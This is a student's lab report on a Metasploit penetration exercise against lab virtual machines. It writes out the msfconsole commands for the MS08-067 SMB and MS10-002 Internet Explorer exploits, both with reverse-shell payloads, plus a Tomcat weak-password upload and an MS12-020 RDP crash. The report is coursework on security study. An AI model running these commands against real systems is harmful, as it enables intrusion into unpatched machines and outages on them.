20192429马一

导航

 

20192429马一 2021-2022-2 《网络与系统攻防》 实验六 Metasploit攻击渗透实践

一、实验要求

  • 本实践目标是掌握metasploit的基本应用方式,重点常用的三种攻击方式的思路。具体需要完成:
    一个主动攻击实践,尽量使用最新的类似漏洞
    一个针对浏览器的攻击,尽量使用最新的类似漏洞
    一个针对客户端的攻击,如Adobe或office,尽量使用最新的类似漏洞
    成功应用任何一个辅助模块

二、实验内容

Metasploit介绍

  • 开源软件Metasploit是H.D. Moore在2003年开发的,它是少数几个可用于执行诸多渗透测试步骤的工具。在发现新漏洞时(这是很常见的),Metasploit会监控Rapid7,然后Metasploit的200,000多个用户会将漏洞添加到Metasploit的目录上。然后,任何人只要使用Metasploit,就可以用它来测试特定系统的是否有这个漏洞。
  • Metasploit框架使Metasploit具有良好的可扩展性,它的控制接口负责发现漏洞、攻击漏洞,提交漏洞,然后通过一些接口加入攻击后处理工具和报表工具。Metasploit框架可以从一个漏洞扫描程序导入数据,使用关于有漏洞主机的详细信息来发现可攻击漏洞,然后使用有效载荷对系统发起攻击。所有这些操作都可以通过Metasploit的Web界面进行管理,而它只是其中一种种管理接口,另外还有命令行工具和一些商业工具等等。

渗透攻击(Exploit)

  • 渗透攻击是指由攻击者或者渗透测试者利用系统、应用或服务中的安全漏洞,所进行的攻击行为。

攻击载荷(Payload)

  • 攻击载何是我们期望目标系统在被渗透攻击后而执行的代码。在MSF框架中可以自由的选择、传送和植入。

溢出代码(Shellcode)

  • shellcode是在渗透攻击时作为攻击载荷运行的一组机器指令。shellcode通常用汇编语言编写。在大多数情况下,目标系统执行了shellcode这一组指令后,才会提供一个命令行shell或者Meterpreter shell,这也是shellcode名称的由来。

模块(Module)

  • 在MSF中,一个模块是指MSF框架中所使用的一段软件代码组件。

监听器(Listener)

  • 监听器是MSF中用来等待连入网络连接的组件

三、实验步骤

3.1 一个主动攻击实践

  • 攻击机: GUI/Linux Kali 192.168.31.129 , 靶机:Winxp SP2 192.168.31.138
  • 在攻击机中输入 msfconsole 进入控制台后,输入如下指令

use exploit/windows/smb/ms08_067_netapi
set payload generic/shell_reverse_tcp //设置合适载荷
set LHOST 192.168.31.129 //攻击机IP
set LPORT 2429 //攻击机端口
set RHOST 192.168.31.138 //靶机IP 漏洞已经绑定特定端口
set target 0 //选择系统类型为xp
exploit //攻击!

  • MS08_067安全漏洞原理:攻击者利用受害者主机默认开放的SMB服务端口445,发送特殊RPC请求,通过MSRPC接口调用serve服务函数NetPathCanonicalize函数对进行远程访问的路径规范化,而此函数中存在栈缓冲区内存漏洞,可被利用实施远程代码执行
  • 可以看到,此处已经获得靶机的shell,并且可以查看靶机的版本

3.2 一个针对浏览器的攻击

  • 攻击机: GUI/Linux Kali 192.168.31.129 , 靶机:Winxp SP2 192.168.31.138

  • 查看靶机的IE浏览器的版本是 6.0.29,所以需要查询能够利用winxp的IE6.0版本的漏洞

  • 此处我使用的是ms10-002漏洞即针对Internet Explorer“极光”内存损坏的攻击

  • 在攻击机中进入控制台后输入如下命令:

use exploit/windows/browser/ms10_002_aurora
set payload windows/meterpreter/reverse_tcp //选择可以生成tcp反弹链接网站的payload
set LHOST 192.168.31.129 //设置反弹链接
set LPORT 2429 //设置反弹端口
exploit //开始攻击
生成了反弹链接:192.168.31.129:8080/fIm3ZsvYs

  • 在靶机的IE浏览器中输入网址打开后,在攻击机中就得到一个新session,打开这个session,就可以获得靶机的控制权

3.3 一个针对客户端的攻击

  • 攻击机: GUI/Linux Kali 192.168.31.129 , 靶机:Linux metasploitable i686 192.168.31.139

  • tomcat管理员将用户名和密码设置成弱口令,导致可以所以获取session链接,进而上传恶意代码控制服务器。

  • 使用** nmap -sV 192.168.31.139** 扫描靶机开放了哪些端口和服务,可以看到,tomcat所绑定了8180端口是打开状态。

  • 查看tomcat模块,use tomcat_mgr_login 设置IP地址和端口,run后得到tomcat的用户名和口令

  • use tomcat_mgr_deploy 设置靶机IP和端口,同时配置刚刚获取的用户名和口令,使用exploit进行攻击

  • 可以得到靶机控制权进而得到shell

3.4 成功应用任何一个辅助模块

  • 攻击机: GUI/Linux Kali 192.168.31.129 , 靶机:Win2kServer_SP0 :192.168.3.36
  • 死亡蓝屏漏洞:RDP协议是一个多通道的协议,让用户连上提供微软终端机服务的电脑。 windows在处理某些对象时存在错误,可通过特制的RDP报文访问未初始化或已经删除的对象,导致任意代码执行。 然后控制系统。

search ms12_020
use auxiliary/dos/windows/rdp/ms12_020_maxchannelids
set RHOST 192.168.31.129
run

  • 攻击成功后,靶机蓝屏

四、问题以及解决方案

4.1 在执行adobe的漏洞文件的时候,adobe自动弹出暂停使用adobe,可以解释为adobe攻击失败

  • adobe版本过高

五、学习感悟

  • 本次实验重点在于尝试不同metasploit的模块,进行多种不同的攻击,最终获取靶机的控制权或造成靶机崩溃,值得注意的是,每一种靶机所适配的漏洞环境不同,所使用的载荷也相应不同,由于我一直使用的是恶意代码课程的纯净版xp系统,所以在我进行实验的过程中,或多或少得出现了无法攻击的情况,比如对于浏览器的攻击,我尝试了10余钟漏洞才攻击成功,漏洞复现不仅仅是要看系统的版本,还要看所攻击的服务器,客户端的版本。这不仅考验我的信息搜集的能力,还考验着我的耐性,看似简单的实验,其实想要找到合适高效的攻击漏洞,也要花费相当的精力和时间。
posted on 2022-05-14 14:23  20192429马一  阅读(45)  评论(0编辑  收藏  举报